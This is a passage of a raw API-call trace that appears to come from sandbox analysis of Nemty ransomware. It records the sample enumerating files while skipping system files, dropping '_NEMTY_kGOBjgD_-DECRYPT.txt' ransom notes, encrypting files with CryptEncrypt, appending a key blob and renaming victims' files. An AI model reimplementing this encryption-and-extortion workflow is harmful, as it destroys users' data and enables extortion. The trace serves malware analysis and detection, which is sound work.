lstrcmpiW (lpString1="Services", lpString2="boot.ini") returned 1 [0178.733] lstrcmpiW (lpString1="Services", lpString2="AUTOEXEC.BAT") returned 1 [0178.733] lstrcmpiW (lpString1="Services", lpString2="ntuser.dat") returned 1 [0178.733] lstrcmpiW (lpString1="Services", lpString2="desktop.ini") returned 1 [0178.733] lstrcmpiW (lpString1="Services", lpString2="CONFIG.SYS") returned 1 [0178.733] lstrcmpiW (lpString1="Services", lpString2="RECYCLER") returned 1 [0178.733] lstrcmpiW (lpString1="Services", lpString2="BOOTSECT.BAK") returned 1 [0178.733] lstrcmpiW (lpString1="Services", lpString2="bootmgr") returned 1 [0178.733] lstrcmpiW (lpString1="Services", lpString2="programdata") returned 1 [0178.733] lstrcmpiW (lpString1="Services", lpString2="appdata") returned 1 [0178.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.733] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0178.733] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services", lpUsedDefaultChar=0x0) returned 8 [0178.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.733] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0178.733] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services", lpUsedDefaultChar=0x0) returned 8 [0178.733] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.733] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0178.733] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0178.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0178.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0178.733] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.734] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.734] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0178.734] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0178.734] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0178.734] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Services\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\services\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0178.736] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.736] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.736] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0178.737] CloseHandle (hObject=0x2e8) returned 1 [0178.737] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0178.737] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0178.737] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0178.737] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0178.737] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0178.737] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0178.737] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.737] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.737] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.737] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.737] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.737] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0178.737] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.737] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0178.737] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0178.737] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Services\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\services\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0178.738] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.738] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.738] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0178.739] CloseHandle (hObject=0x2e8) returned 1 [0178.739] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0178.739] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0178.739] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0178.739] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Services\\*.*", lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1e2d2e10, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1e2d2e10, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423af0 [0178.739] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0178.739] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1e2d2e10, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1e2d2e10, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0178.739] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0178.739] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0178.739] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8fdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0178.739] lstrcmpiW (lpString1="DEXShare.asfx", lpString2=".") returned 1 [0178.739] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="..") returned 1 [0178.739] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="...") returned 1 [0178.740] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="windows") returned -1 [0178.740] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="$RECYCLE.BIN") returned 1 [0178.740] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="rsa") returned -1 [0178.740] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="NTDETECT.COM") returned -1 [0178.740] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="ntldr") returned -1 [0178.740] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="MSDOS.SYS") returned -1 [0178.740] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="IO.SYS") returned -1 [0178.740] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="boot.ini") returned 1 [0178.740] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="boot.ini") returned 1 [0178.740] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="AUTOEXEC.BAT") returned 1 [0178.740] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="ntuser.dat") returned -1 [0178.740] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="desktop.ini") returned 1 [0178.740] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="CONFIG.SYS") returned 1 [0178.740] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="RECYCLER") returned -1 [0178.740] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="BOOTSECT.BAK") returned 1 [0178.740] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="bootmgr") returned 1 [0178.740] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="programdata") returned -1 [0178.740] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="appdata") returned 1 [0178.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.740] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0178.740] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0178.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.740] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0178.740] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0178.740] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.740] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.740] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0178.740] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0178.740] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.740] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0178.741] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0178.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.741] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0178.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0178.741] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0178.741] Sleep (dwMilliseconds=0x5) [0178.742] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1e2f8f70, dwHighDateTime=0x1d561e8)) [0178.742] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1e2f8f70, dwHighDateTime=0x1d561e8)) [0178.742] GetLastError () returned 0xb7 [0178.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.743] GetLastError () returned 0xb7 [0178.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.743] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0178.743] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0178.743] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0178.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0178.743] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e29c | out: pszString="l/h0g8+fQzuYm7cfUspaIg2nDX+SmwQPSwZjhlSxMO2FegSvIr1SaobbSfNUvzDi\r\nZr1nCWvRIELo5pkwMvD5evGQJiqFAaobbNns3Srqe6/32ecQrenAPglvBMBwVe1G\r\n7ZU2F4mXEkw2DjRaGRlLppGsMuDqyBn25oqfQ0iPZCoUkrwvTd68FOFtPo5Dm7I1\r\nVg+UYbC1a3kJ9s28EAz7viW/ZawY23MUD3t8j2VEvOjPPxaVTckWUSMZnLHoBdL0\r\nPmFdlPSRm7RF6sDyuZM2bdnaNaWgZ/KgqWuNWJCLP5R9ZWiuz2Us5/1EzSQWOEzI\r\nhqOoKkAHcX+3PruARvWFHw==\r\n", pcchString=0x653e29c) returned 1 [0178.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0178.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0178.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0178.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0178.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0178.743] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\services\\dexshare.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0178.743] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=36829) returned 1 [0178.744] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x8fd0) returned 0x6352c48 [0178.744] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.744] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x8fd0, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0x8fd0, lpOverlapped=0x0) returned 1 [0178.748] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.748] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x8fd0, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0x8fd0, lpOverlapped=0x0) returned 1 [0178.748] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0178.748] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=36829, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8fdd [0178.748] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0178.748] CloseHandle (hObject=0x2f0) returned 1 [0178.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0178.749] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.749] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0178.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0178.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0178.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.749] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\services\\dexshare.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Services\\DEXShare.asfx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\services\\dexshare.asfx._nemty_kgobjgd_")) returned 1 [0178.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0178.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0178.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0178.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0178.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0178.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0178.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0178.750] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 1 [0178.750] lstrcmpiW (lpString1="Services.asfx", lpString2=".") returned 1 [0178.750] lstrcmpiW (lpString1="Services.asfx", lpString2="..") returned 1 [0178.750] lstrcmpiW (lpString1="Services.asfx", lpString2="...") returned 1 [0178.750] lstrcmpiW (lpString1="Services.asfx", lpString2="windows") returned -1 [0178.750] lstrcmpiW (lpString1="Services.asfx", lpString2="$RECYCLE.BIN") returned 1 [0178.750] lstrcmpiW (lpString1="Services.asfx", lpString2="rsa") returned 1 [0178.750] lstrcmpiW (lpString1="Services.asfx", lpString2="NTDETECT.COM") returned 1 [0178.750] lstrcmpiW (lpString1="Services.asfx", lpString2="ntldr") returned 1 [0178.750] lstrcmpiW (lpString1="Services.asfx", lpString2="MSDOS.SYS") returned 1 [0178.750] lstrcmpiW (lpString1="Services.asfx", lpString2="IO.SYS") returned 1 [0178.750] lstrcmpiW (lpString1="Services.asfx", lpString2="boot.ini") returned 1 [0178.750] lstrcmpiW (lpString1="Services.asfx", lpString2="boot.ini") returned 1 [0178.750] lstrcmpiW (lpString1="Services.asfx", lpString2="AUTOEXEC.BAT") returned 1 [0178.750] lstrcmpiW (lpString1="Services.asfx", lpString2="ntuser.dat") returned 1 [0178.750] lstrcmpiW (lpString1="Services.asfx", lpString2="desktop.ini") returned 1 [0178.750] lstrcmpiW (lpString1="Services.asfx", lpString2="CONFIG.SYS") returned 1 [0178.750] lstrcmpiW (lpString1="Services.asfx", lpString2="RECYCLER") returned 1 [0178.750] lstrcmpiW (lpString1="Services.asfx", lpString2="BOOTSECT.BAK") returned 1 [0178.750] lstrcmpiW (lpString1="Services.asfx", lpString2="bootmgr") returned 1 [0178.750] lstrcmpiW (lpString1="Services.asfx", lpString2="programdata") returned 1 [0178.750] lstrcmpiW (lpString1="Services.asfx", lpString2="appdata") returned 1 [0178.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.750] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0178.750] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0178.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.750] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 